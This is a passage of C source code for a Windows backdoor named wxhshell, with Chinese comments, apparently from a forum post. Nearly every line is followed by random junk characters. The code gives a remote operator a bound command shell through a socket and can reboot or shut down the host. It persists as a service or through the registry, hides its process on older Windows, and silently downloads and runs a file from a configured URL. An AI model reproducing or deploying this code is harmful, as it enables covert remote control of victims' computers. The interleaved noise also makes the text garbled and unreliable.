2BIOA#@t  
    switch(cmd[0]) { x20sB  
  >5-]Ur~  
  // 帮助 V %Rz(a+c  
  case '?': { # FV`*G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %GDs/9  
    break; Gnmxp%&}P|  
  } Yim`3>#t  
  // 安装 XWFuAE  
  case 'i': { ]#oqum@Yf1  
    if(Install()) Z=P=oldH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lr@H4EJ{  
    else [+v}V ,jb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D`uOBEX  
    break; M kadl<  
    } s&*s9F  
  // 卸载 xo*[ g`N  
  case 'r': { Fu !sw]6xx  
    if(Uninstall()) CI6qDh6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gu136XiX  
    else Qws#v}xF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k`Ifd:V.y  
    break; G!IJ#|D:~  
    } (1b%);L7  
  // 显示 wxhshell 所在路径 R?[KK<sWWe  
  case 'p': { c{t(),nAA  
    char svExeFile[MAX_PATH]; (T0%H<#+  
    strcpy(svExeFile,"\n\r"); K|LS VN?K  
      strcat(svExeFile,ExeFile); .%EEly  
        send(wsh,svExeFile,strlen(svExeFile),0); e#$ZOK)`  
    break; L1E\^)  
    } s"\o6r ,  
  // 重启 S}cm.,/w  
  case 'b': { Qf]ACN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SpUcrK;1  
    if(Boot(REBOOT)) M0zlB{eH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <U]#722  
    else { o$DJL11E  
    closesocket(wsh); oLp:Z=  
    ExitThread(0); _*Z2</5  
    } jVpk) ;vC  
    break; _'E,g@  
    } 3_tO  
  // 关机 Kr]`.@/.S  
  case 'd': { 0BTLIV$d;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Tfl4MDZb  
    if(Boot(SHUTDOWN)) 7)Rx-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GlVD!0  
    else { -*EK-j  
    closesocket(wsh); KwiTnP!Dca  
    ExitThread(0); KD7 RI3'?  
    } cTeEND)  
    break; v+|N7  
    } nUvxO `2  
  // 获取shell b%<i&YY#  
  case 's': { Gm.n@U p  
    CmdShell(wsh); ryq95<lF  
    closesocket(wsh); Y?z@)cL  
    ExitThread(0); J$?*qZ(oO  
    break; 8vcV-+x  
  } {>c O&eiCt  
  // 退出 ivbuS-f =r  
  case 'x': { O`hOVHD Q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jo4*,B1x  
    CloseIt(wsh); _KkLH\1g$  
    break; V4OhdcW{  
    } ~a5p_xP  
  // 离开 [EJ[Gg0m  
  case 'q': { Kj_hCSvf3e  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _azg 0.)  
    closesocket(wsh); /0mbG!Ac  
    WSACleanup(); +BRmqJ3  
    exit(1); HX{O@  
    break; >]k'3|vV  
        } yjVPaEu]aU  
  } oP".>g-.  
  } [2!K 6  
2 c <Qh=  
  // 提示信息 %jY /jp=R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n@xDFa  
} j#b?P=|l  
  } sgo({zA`i  
'Z+~G  
  return; z2&SZ.mk  
} +?~'K&@  
1Q6WpS  
// shell模块句柄 e1X*}OI  
int CmdShell(SOCKET sock) z1ltc{~Z  
{ }06  
STARTUPINFO si; Yo c N@s  
ZeroMemory(&si,sizeof(si)); #s1O(rLRl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vvLm9Tw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "| <\\HR  
PROCESS_INFORMATION ProcessInfo; _gB`;zo  
char cmdline[]="cmd"; lu(<(t,Lbs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V,($I'&/  
  return 0; +xwz.:::  
} p IXBJk  
5yO6szg  
// 自身启动模式 j3rBEQ,R  
int StartFromService(void) OZ1+`4 v  
{ O edL?4  
typedef struct tH<v1LEZN  
{ ZgLO[Bj  
  DWORD ExitStatus; E {d Mdz  
  DWORD PebBaseAddress; \c+)Y}:D  
  DWORD AffinityMask; IBWUeB:b  
  DWORD BasePriority; "2X=i`rTi  
  ULONG UniqueProcessId; n< [np;\  
  ULONG InheritedFromUniqueProcessId; %,GY&hTw  
}   PROCESS_BASIC_INFORMATION; SU9#Y|I  
Pn5@7~  
PROCNTQSIP NtQueryInformationProcess; cX@~Hk4=\  
o*\kg+8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )kl| 5i  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >UpTMEQ  
h FP$MFab  
  HANDLE             hProcess; S?%V o* Y  
  PROCESS_BASIC_INFORMATION pbi; 8h~v%aZ1  
uRKCvsisX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n\5` JNCb  
  if(NULL == hInst ) return 0; ]?xF'3#  
#"6(Q2| l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EW1 L!3K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &3>ki0L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); -3X#$k8  
]6</{b  
  if (!NtQueryInformationProcess) return 0; I~MBR2$9  
3Qe:d_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >/EmC3?b!  
  if(!hProcess) return 0; 9tXLC|yl?  
*"0Yr`)S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,qpn4`zE~  
,-t3gc1~X  
  CloseHandle(hProcess); '!Vn  
*~M=2Fj;i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <FMW%4   
if(hProcess==NULL) return 0; B}gi /  
!'B.ad  
HMODULE hMod; i)\`"&.j>N  
char procName[255]; tOwwgf  
unsigned long cbNeeded; O%A:2Y79  
\CB{Ut+s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LS4c|Dv  
oDx*}[/  
  CloseHandle(hProcess); +GgWd=X.Y  
r~u/M0h `  
if(strstr(procName,"services")) return 1; // 以服务启动 BXaA#} ;e  
`ItMn&P  
  return 0; // 注册表启动 J& +s  
} /9|1eSUa  
)dG7 $,g  
// 主模块 X^?<, Y)1.  
int StartWxhshell(LPSTR lpCmdLine) R* E/E  
{ H]Q Z4(  
  SOCKET wsl; 9IMtqL&  
BOOL val=TRUE; 0kpRvdEr-  
  int port=0; {LY$  
  struct sockaddr_in door; :HRJ49a  
XY1NTo. =  
  if(wscfg.ws_autoins) Install(); ${KDGJ,^  
z}s0D]$+x  
port=atoi(lpCmdLine); ?.IT!M}DR  
y)|Q~8r  
if(port<=0) port=wscfg.ws_port; !k||-Q &  
V{$(#r  
  WSADATA data; ?y'KX]/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]}8<h5h)  
+%6{>C+bZo  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S3:Pjz}t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0(Z ER sP  
  door.sin_family = AF_INET; <m`HK.|~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); I_'S|L  
  door.sin_port = htons(port); }-)2CEj3L%  
P 5m{}@g  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A"\kdxC  
closesocket(wsl); 4t|g G`QW7  
return 1; Vur$t^zE  
} LSNa  
%U)/>Z  
  if(listen(wsl,2) == INVALID_SOCKET) { $91c9z;f^  
closesocket(wsl); D.j'n-yw  
return 1; - P1OD)B  
} ~o= Sxaf  
  Wxhshell(wsl); oU$Niw9f  
  WSACleanup();  {IYfq)c  
gf2l19aP  
return 0; $=4T# W=m  
nu}$wLM  
} 6/wAvPB$  
CwTx7 ^qa  
// 以NT服务方式启动 <O?iJ=$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ZBcZG  
{ 26yv w  
DWORD   status = 0; @ _U]U  
  DWORD   specificError = 0xfffffff; MJV)| 2C  
Iujly f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .rD@Q{e50  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x<"1T w5e  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE;  ^vYH"2  
  serviceStatus.dwWin32ExitCode     = 0; ]=2Ba<)m  
  serviceStatus.dwServiceSpecificExitCode = 0; b~Op1p  
  serviceStatus.dwCheckPoint       = 0; d47b&.v8e  
  serviceStatus.dwWaitHint       = 0; 5.]+K<:h"A  
vJ7I [Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LgjL+w19  
  if (hServiceStatusHandle==0) return; IwKhun  
X~sl5?  
status = GetLastError(); ,_r"=>?@  
  if (status!=NO_ERROR) dZIAotHN:  
{ H`njKKdR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :mX c|W3  
    serviceStatus.dwCheckPoint       = 0; ~_QZiuq&  
    serviceStatus.dwWaitHint       = 0; X_ne#ZPl  
    serviceStatus.dwWin32ExitCode     = status; s&iM.[k  
    serviceStatus.dwServiceSpecificExitCode = specificError; dd@^e)VZB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >t)vQ&:;u  
    return; Z%y>q|:  
  } 2^bq4c4J  
|[CsLn;  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xpx Un8.  
  serviceStatus.dwCheckPoint       = 0; j5|_SQOmt  
  serviceStatus.dwWaitHint       = 0; LUl6^JU  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :@rE&  
} XpdDIKMmE  
#25Z,UU  
// 处理NT服务事件,比如:启动、停止 6B)(kPW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~.u}v~ F  
{ 9 #TzW9  
switch(fdwControl) sNc(aGvy  
{ 9AD`,]b  
case SERVICE_CONTROL_STOP: C~ t?<  
  serviceStatus.dwWin32ExitCode = 0; +J} wYind  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $\Bzp<SN`  
  serviceStatus.dwCheckPoint   = 0; K19/M1~  
  serviceStatus.dwWaitHint     = 0; h8Q+fHDYv  
  { X]U,`oE)9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Qg"hN  
  } (8TB*BhQ_  
  return; 53J!iNnXT6  
case SERVICE_CONTROL_PAUSE: WW{5[;LYiB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :.'<ndM  
  break; &M,a+|yuY  
case SERVICE_CONTROL_CONTINUE: cTCo~Pk4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l)[\TD  
  break; n1 =B  
case SERVICE_CONTROL_INTERROGATE: q&Y'zyHLP  
  break; gS_)(  
}; ;n%SjQ'%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8>x!n/z)  
} '3 w=D )  
"^F#oo%L  
// 标准应用程序主函数 NeAkJG=<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) svCD&~|K#  
{ Y (x_bJ  
% obR2%  
// 获取操作系统版本 %'a%ynFs  
OsIsNt=GetOsVer(); 1uZ[Ewl]  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jl;_lcO  
rL3<r  
  // 从命令行安装 mEfI2P)#|  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;,[6 n|M  
z6ISJb  
  // 下载执行文件 ']Gqa$(YC  
if(wscfg.ws_downexe) { k"&l o h  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'DO^($N  
  WinExec(wscfg.ws_filenam,SW_HIDE); _ui03veA1  
} A-^[4&rb  
Q1jU{  
if(!OsIsNt) { Ig}G"GR  
// 如果时win9x,隐藏进程并且设置为注册表启动 )uC],CbW{  
HideProc(); #qrZ(,I@n  
StartWxhshell(lpCmdLine); 6!dbJ5x1  
} X1&Ug ^  
else <nlZ?~%}  
  if(StartFromService()) 8] skAh  
  // 以服务方式启动 [bk2RaX:i  
  StartServiceCtrlDispatcher(DispatchTable); ^u&oS1U  
else oW(lQ'"  
  // 普通方式启动 gyj.M`+y  
  StartWxhshell(lpCmdLine); Zt4g G KG  
3I&=1o  
return 0; ?%% 'GX  
}
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只看该作者 1 发表于: 2006-10-10
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